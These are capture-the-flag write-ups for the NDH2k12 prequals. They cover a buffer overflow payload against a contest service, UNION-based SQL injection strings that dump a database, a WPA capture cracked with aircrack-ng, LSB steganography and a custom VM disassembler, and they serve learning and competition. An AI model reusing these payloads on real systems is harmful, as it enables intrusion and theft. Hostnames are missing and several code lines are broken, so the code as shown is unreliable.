We can easily recognize the other strings as coming from the pseudo-assembly code decrypted. A quick look at it shows a blatant 10-bytes read while the function frame is only 8-bytes long. We can quickly check this buffer overflow on the online service:

# nc 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: 0123456789
[!] Segfault 0x3938 (opcode unknown)

From the plain ASM, we also spot a debug function whose job is to display the “esoasoel.txt” file, obvious candidate for our BoF. From there on, two options: bruteforcing the possible return addresses or reversing the file format to find the actual offset of the debug function.

Step 1 : The Easy Way

The address space is only 16-bits long and we haven’t enough place for a shellcode anyway: we chose to bruteforce it - at the time, we did not have the NDH virtual machine from the rar archive to directly get the correct offset. The only trick here is to think about injecting 9 bytes instead of 10 to get the heavy-weighted one:

$ perl -e 'print "A"x9' | nc 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: [!] Segfault 0x8241 (opcode unknown)

The assembly suggests that the debug function we are looking for is farther ahead in the code segment than the call :ask_password, so we launched a bruteforce from 0x8200 to 0x83ff included.
Finally, Ezekiel 25:17 pops up:

# python -c "print 'A'*8+'\xdb\x82'" | nc 4000

Welcome on SciPad Shell, root.

The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men. 
Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of darkness, for he is truly his brother's keeper and the finder of lost children. 
And I will strike down upon thee with great vengeance and furious anger those who would attempt to poison and destroy My brothers. 
And you will know My name is the Lord when I lay My vengeance upon thee.

- God (f98eb53e7960c9a663c60a916b6de70e)

Be careful, this service is not protected by any option, to avoid exploitation please use the new version of this shell available on 
This service runs in a vm with stack layout randomization which is more secure

Something's fucked up ('cause our developers drink too much beer).
Try later. Or not.

Step 2 : The hard way, ‘cuz you’re a grown up and all.

First we have to study the binary. So hex editor it is.

The first four bytes indicate the file type, here NDH. The two following bytes indicate the size of the code and data section : the end offset is 0x37F, and 0x37F - FILE_TYPE_FIELD_SIZE (4) = 0x37B.

The data section is localized at the end of the file :


We recognize the strings from the pseudo ASM code with a little difference : the name of the text file.

Now we have to find the function that displays the file content. Thanks to the Scios Instruction Set we extracted from the audio file, we know that the binary is mapped at the 0x8000 address. We manually compile the following statement :


MOVL R0, :FLAG_FILE give us the following opcodes :

04     02                   00    6e 83

The filename address is calculated by adding the filename offset in the file (0x374 - HDR_SIZE(6)) to the memory base address (0x8000) which give us 0x836E.
We can’t fully compile the next statement, because we don’t know where is the DISP_FILE_CONTENT function, however we know the compiled statement will be something like that :

19      04               XX XX

Consequently, we can look for the followings bytes in the binary :

04 02 00 6E 83 19 04


And we find them at the file offset 2E1 that we translate into memory address :

0x8000 + 0x2E1 - 0x6 (HDR_SIZE) = 0x82DB.

No surprise here, this is the address we found by bruteforcing the BoF. Well, that’s it.

NDH2k12 Prequals - We are looking for a real hacker - Wallpaper image

The bmp file has no padding bytes, and its size matches the image dimensions (4374054 = 810*1800*3 +0x36 for the header).
On the other hand, applying an LSB filter reveals that something is wrong on the left side of the image (the 630 first columns from the left look filled with random bits).
The three colors are affected in the same way, and the second LSB is normal. So, we certainly have an LSB encoding with one bit per byte.

The fact that the bits form a rectangle suggests the encoding was done following the image order rather than the file order. The two most logical choices (for occidentals) are left-to-right and up-to-down. I was going for the former; the grace of the random Bug made me do the latter first.

Here is how the data begin:

00 02 eb 9b 78 9c d4 b9 65 54 ...

The index of coincidence reveals a flat distribution. The data could be either encrypted or compressed. But then, the two first bytes are suspiciously low.
0x2eb9b (191387) is also very close to the rectangle size: 630*810*3 / 8 = 191362. And as it happens, 78 9C is a typical beginning for strings compressed with zlib (deflate algorithm).

Quote from :

The header byte 78 meaning “deflate compression with a 32 KiB window”.
The informational byte 9c meaning “the default compression algorithm was used” (plus a checksum).”

So all that has to be done is to extract the least significant bits in column-major (up-to-down), skip the first four bytes indicating the size of the file, and decompress the rest with zlib.

The output file is a pdf describing a few products from SCIOS. This file is the flag.

import sys, zlib,Image, struct
bmp ="sp113.bmp")
pix = bmp.load()
lsb = []
for x in range(640):
    for y in range(810):
        lsb.extend( str(i&1) for i in pix[(x,y)] )
lsb = "".join(lsb)
lsb = "".join(chr(int(lsb[i:i+8],2)) for i in range(0,len(lsb),8))
length = struct.unpack(">I",lsb[:4])[0]
pdf = zlib.decompress(lsb[4:4+length])
outfile = open("sp113.pdf","wb") #"b" is for windows users


NDH2k12 Prequals - We are looking for a real hacker - Unknown text

File sp111

After opening the sp111 text file, we guessed that it was encrypted with vigenere.

We tried an auto-decrypt with, revealing that “OFJZUANDEOQDK” would be the most probable key.

We reconstructed the following plain text :

; HI,
   SUBB SP, #8
   MOV R5, SP
   MOV R1,  R5
   MOVB R2, #10
   ADDB SP, #8
   ; QUIT

NDH2k12 Prequals - What is it about this file? - Binary file ndh


File: 11925.ndh

Once again it is a VM file. We quickly take a look at the hexdump to find the remote port used (4004).

% tail 11925.ndh|hexdump -C
00000000  00 16 b7 0e 00 02 02 04  00 00 02 03 04 03 03 03  |................|
00000010  02 03 01 1a 01 03 00 01  03 01 04 00 01 00 19 04  |................|
00000020  7c fe 04 00 03 00 04 00  02 01 04 01 01 01 04 01  ||...............|
00000030  00 04 30 03 01 03 00 1a  01 03 00 01 03 03 0e 00  |..0.............|
00000040  03 03 18 00 03 02 10 0d  00 1e 0a 00 04 06 00 01  |................|
00000050  0a 03 0a 00 16 ec 03 03  03 00 1a 04 00 01 00 04  |................|
00000060  01 00 05 30 1a 04 00 02  01 04 00 01 00 04 01 00  |...0............|
00000070  02 30 1a 04 00 03 02 04  00 02 01 04 00 01 00 04  |.0..............|
00000080  01 00 03 30 1a 01 03 03  04 00 03 02 04 00 02 01  |...0............|
00000090  04 00 01 00 04 01 00 11  30 03 03 1a 01 03 01 01  |........0.......|
000000a0  03 02 01 03 03 01 03 04  01 03 05 04 02 01 00 00  |................|
000000b0  19 04 b1 ff 18 02 00 ff  ff 11 0f 00 0e 00 00 00  |................|
000000c0  03 05 03 04 03 03 03 02  03 01 1a 04 00 03 00 04  |................|
000000d0  02 01 00 00 04 02 02 02  00 19 04 a8 ff 04 00 04  |................|
000000e0  00 0a 04 04 00 00 03 04  02 01 00 00 04 02 02 00  |................|
000000f0  00 19 04 90 ff 07 00 08  04 04 00 05 08 04 00 00  |................|
00000100  03 04 00 01 08 04 00 02  04 19 04 66 ff 06 00 04  |...........f....|
00000110  05 0b 04 04 07 04 00 04  00 00 05 19 04 f5 fe 04  |................|
00000120  01 00 01 0a 04 07 00 04  05 06 00 08 04 03 05 03  |................|
00000130  04 03 03 03 02 03 01 1a  04 02 00 10 83 19 04 d3  |................|
00000140  fe 07 01 08 32 04 00 05  08 04 02 00 00 00 04 00  |....2...........|
00000150  01 05 04 01 02 36 19 04  19 ff 04 02 00 11 11 04  |.....6..........|
00000160  00 01 05 04 02 02 32 00  19 04 5b fd 06 01 08 32  |......2...[....2|
00000170  1a 04 02 00 11 11 04 02  01 5e 83 04 02 02 00 01  |.........^......|
00000180  19 04 d7 fd 11 0d 00 0a  07 04 02 00 51 83 19 04  |............Q...|
00000190  0a ff 16 09 04 02 00 42  83 19 04 77 fe 1a 0e 00  |.......B...w....|
000001a0  07 07 19 04 92 ff 19 04  c7 ff 1c 50 61 73 73 77  |...........Passw|
000001b0  6f 72 64 20 28 72 65 71  75 69 72 65 64 29 3a 20  |ord (required): |
000001c0  00 73 63 69 74 65 65 6b  2e 6e 75 69 74 64 75 68  |.sciteek.nuitduh|
000001d0  61 63 6b 2e 63 6f 6d 3a  34 30 30 34 00 42 61 64  ||
000001e0  20 70 61 73 73 77 6f 72  64 2e 0a 00 62 6b 46 53  | password...bkFS|
000001f0  6d 4a 6c 58 2e 74 78 74  00 5a 6f 6d 66 67 53 63  |mJlX.txt.ZomfgSc|
00000200  69 50 61 64 57 69 6c 6c  52 30 78 78 44 34 46 75  |iPadWillR0xxD4Fu|
00000210  63 6b 31 6e 77 30 52 4c  64 21 21 21 0a 00        |ck1nw0RLd!!!..|

There are some weird strings at the end, we look closer...

% strings 11925.ndh             
Password (required):
Bad password.

It looks like a flag! There is no way that can be true!

% nc 4004
Password (required): ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!
You are now authenticated

Yeah well, it was actually that simple, we got the flag, and a nice facepalm because we also reversed it, which was useless here...

Flag: ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!

Btw, meanwhile, we developped a small disassembler in python. We cracked the rar file and accessed the VM source when we just finished. FU.
We used the instruction set unlocked with the .wav challenge ;)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from struct import pack, unpack
START  = 0x6
BASE_ADDR = 0x8000
OPCODES = { 0x06 : 'ADD',   0x0d : 'AND',   0x19 : 'CALL',      0x18 : 'CMP',   0x0b : 'DEC',
            0x09 : 'DIV',   0x0a : 'INC',   0x1b : 'JMPL',      0x16 : 'JMPS',  0x11 : 'JNZ',
            0x10 : 'JZ',    0x1e : 'JA',    0x1f : 'JB',        0x04 : 'MOV',   0x08 : 'MUL',
            0x02 : 'NOP',   0x0f : 'NOT',   0x0c : 'OR',        0x03 : 'POP',   0x01 : 'PUSH',
            0x1a : 'RET',   0x07 : 'SUB',   0x30 : 'SYSCALL',   0x17 : 'TEST',  0x1d : 'XCHG',
            0x0e : 'XOR'
NOFLAG  = ( 'DEC', 'INC', 'JMPL', 'JMPS', 'JNZ', 'JZ', 'JA', 'JB', 'NOP', 'NOT', 'POP', 'RET', 'SYSCALL', 'TEST', 'XCHG' )
FLAGS   = { 0x00 : 'REG_REG',               0x01 : 'REG_DIRECT8', 
            0x02 : 'REG_DIRECT16',          0x03 : 'REG',
            0x04 : 'DIRECT16',              0x05 : 'DIRECT8',
            0x06 : 'REGINDIRECT_REG',       0x07 : 'REGINDIRECT_DIRECT8',
            0x0a : 'REG_REGINDIRECT'
REG_REG                                 => op entre 2 registres
REG_DIRECT8                             => op entre 1 reg et 1 octet
REG_DIRECT16                    => op entre 1 reg et 2 octets
REG                                             => op sur un reg
DIRECT16                                => 2 octets
DIRECT8                                 => 1 octet
REGINDIRECT_REG                 => op entre [reg] et reg
REGINDIRECT_DIRECT8             => op entre [reg] et 1 octet
REGINDIRECT_DIRECT16    => op entre [reg] et 2 octets
REGINDIRECT_REGINDIRECT => op entre [reg] et [reg]
REG_REGINDIRECT                 => op entre reg et [reg]
# opcode = 1 byte
# flag = 1 byte
# reg = 1 byte
# DIR8 / DIR16 = 1/2 bytes
def get_reg( num ) :
    if num >= 0 and num <= 9 :
        if num == 9 :
            return 'BP'
        elif num == 8 :
            return 'SP'
            return 'R' + str(num)
    else :
        return '#FAIL' + str(num) # <- c'est moche
def reg_reg(reg1, reg2):
    print("%s, %s" % (get_reg(reg1), get_reg(reg2)))
def reg_direct8(reg, direct):
    print("%s, BYTE %xh" % (get_reg(reg), direct))
def reg_direct16(reg, direct):
    print("%s, SHORT %xh" % (get_reg(reg), direct))
def direct16(direct):
    print("SHORT %xh" % direct)
def direct8(direct):
    print("BYTE %xh" % direct)
def reg(reg):
def regindirect_reg(reg1, reg2):
    print("[%s], %s" % (get_reg(reg1), get_reg(reg2)))
def regindirect_direct8(reg, direct):
    print("[%s], BYTE %xh" % (get_reg(reg), direct))
def regindirect_direct16(reg, direct):
    print("[%s], SHORT %xh" % (get_reg(reg), direct))
def regindirect_regindirect(reg1, reg2):
    print("[%s], [%s]" % (get_reg(reg1), get_reg(reg2)))
def reg_regindirect(reg1, reg2):
    print("%s, [%s]" % (get_reg(reg1), get_reg(reg2)))
def extract(code):
    flag = ord(code[0])
    size = 3 # flag = 1 byte, lval = 1byte, rval = 1+ byte
    lval = ord(code[1])
    rval = ord(code[2])
    if "DIRECT16" in FLAGS[flag]: # rval = 2 bytes
        size += 1
        rval = int(unpack("<H", code[2:4])[0])
    globals()[FLAGS[flag].lower()](lval, rval)
    return size
def disass_DEC(code):
    print get_reg( ord(code[0]) )
    return 1
def disass_INC(code):
    print get_reg( ord(code[0]) )
    return 1
def disass_JMPL(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_JMPS(code):
    print hex(ord(code[0]))
    return 1
def disass_JNZ(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_JZ(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_JA(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_JB(code):
    print hex( unpack('<h', code[0:2])[0] )
    return 2
def disass_NOP(code):
    return 0
def disass_NOT(code):
    print get_reg( ord(code[0]) )
    return 1
def disass_POP(code):
    print get_reg( ord(code[0]) )
    return 1
def disass_RET(code):
    return 0
def disass_SYSCALL(code):
    print "R0 (R1..R4)"
    return 0
def disass_TEST(code):
    print get_reg(ord(code[0])) + ', ' + get_reg(ord(code[1]))
    return 2
def disass_XCHG(code):
    print get_reg(ord(code[0])) + ', ' + get_reg(ord(code[1]))
    return 2
def disass_CALL(code):
    flag = ord(code[0])
    if FLAGS[flag] is 'REG' :
        print get_reg(ord(code[1]))
        return 2
    elif FLAGS[flag] is 'DIRECT16' :
        #print hex( unpack('<H', code[1:3])[0] )
        offset = unpack('<h',code[1:3])[0]
        print hex( cursor + 3 + 6 + offset ) #3 pour l'instruction, 6 pour le header
        return 3
        print "<Warning : invalid flag %x>" % flag
def disass_PUSH(code):
    flag = ord(code[0])
    if FLAGS[flag] is 'REG' :
        print get_reg(ord(code[1]))
        return 2
    elif FLAGS[flag] is 'DIRECT8' :
        print hex(ord(code[1]))
        return 2
    elif FLAGS[flag] is 'DIRECT16' :
        print hex( unpack('<H', code[1:3])[0] )
        return 3
        print "<Warning : invalid flag %x>" % flag
def die( txt ) :
        print txt
def get_opcodes_str(code):
    return " ".join("%02x" % ord(code[i]) for i in range(5))
def main( argc, argv ) :
    f = open( argv[1], 'rb' )
    data =
    if "-raw" in argv:
        code = data
    	if data[:4] != '.NDH' :
        	die( 'Bad ndh header' )
        code = data[START:STOP]
    #if data[:4] != '.NDH' :
    #    die( 'Bad ndh header' )
    #code = data[START:STOP]
    global cursor
    cursor = 0
    while cursor < len(code) :
        opcode = ord(code[cursor])
        cursor += 1
        if opcode not in OPCODES :
            print "Warning : skipping unknown opcode %02x" % opcode
        offset = "0x%04x | " % (START + cursor - 1)
        addr = '[' + hex(BASE_ADDR + cursor - 1) + '] '
        opcodes_dump = get_opcodes_str(code[cursor - 1:]) + "\t\t"
        sys.stdout.write(offset + addr + opcodes_dump + ' ' + OPCODES[opcode] + ' ')
        if OPCODES[opcode] in NOFLAG or OPCODES[opcode] in SPECIAL :
            cursor += globals()[ 'disass_' + OPCODES[opcode] ]( code[cursor:] )
        else :
            cursor += extract( code[cursor:] )
if __name__ == '__main__' :
        sys.exit( main( len( sys.argv ), sys.argv ) )

NDH2k12 Prequals - New email from our contact - Sciteek shortener


According to the description was a url shortening service.

After searching about how these services work i found two “common” practises.

The first was inserting urls in the database and then transforming the ID of that record to Base36 (letters a-z digits 0-9) or some other custom encryption and using it as an alias. But since the alias in the link given had both uppercase, lowercase characters and digits the transformation must be Base62 or it was using some other way to map aliases to urls. Base62 didn’t give us any results so we moved towards the second way of mapping.

That was entering the alias and url in separate fields in the database. So the alias was taking part in an sql query that could be prone to SQL Injection and thus our way in.

Testing this idea with’ UNION SELECT @@version-- a%%%

gave us the first result. The version of the database was returned in the url so alias was passed unfiltered.

Now we just had to find the table and column names.

Some queries to information_schema did the trick:' UNION SELECT CONCAT(table_name,' ',column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 0,1-- a

returns shortner id' UNION SELECT CONCAT(table_name,' ',column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 1,1-- a

returns shortner alias' UNION SELECT CONCAT(table_name,' ',column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 2,1-- a

returns shortner url

Next was to find out how many ids are in the table.
Asking the polite database' UNION SELECT CONCAT(min(id),' ',max(id),' ',count(*)) from shortner-- a

answered with 33 43 11 so there are 11 records in the database starting with id 33 up to 43.
So no need for a bruteforcer to get all records.

The precious flag was in id 40' UNION SELECT CONCAT(url,' ',alias) FROM shortner WHERE id=40-- a 5867hjgjhgffdedeseddf7967


Bonus url : Google :? CTF Ranking Rickrolling ;-) WTF !?

NDH2k12 Prequals - What is it about this file ? - Mole Information


In the sp113.pdf found in the bitmap “Wallpaper image”, we can see “author: SciteekSmith”.

Google is our friend :

There is 1 result :


NDH2k12 Prequals - Time is running out - captured file


There is one file : sciteekadm.cap
It’s a 802.11 capture.

Let’s crack it with aircrack-ng and a wordlist.


Then we decrypted the capture with Cain.


We opened the decrypted capture with Wireshark.


We can see a png file.

We extracted it and we got the flag.


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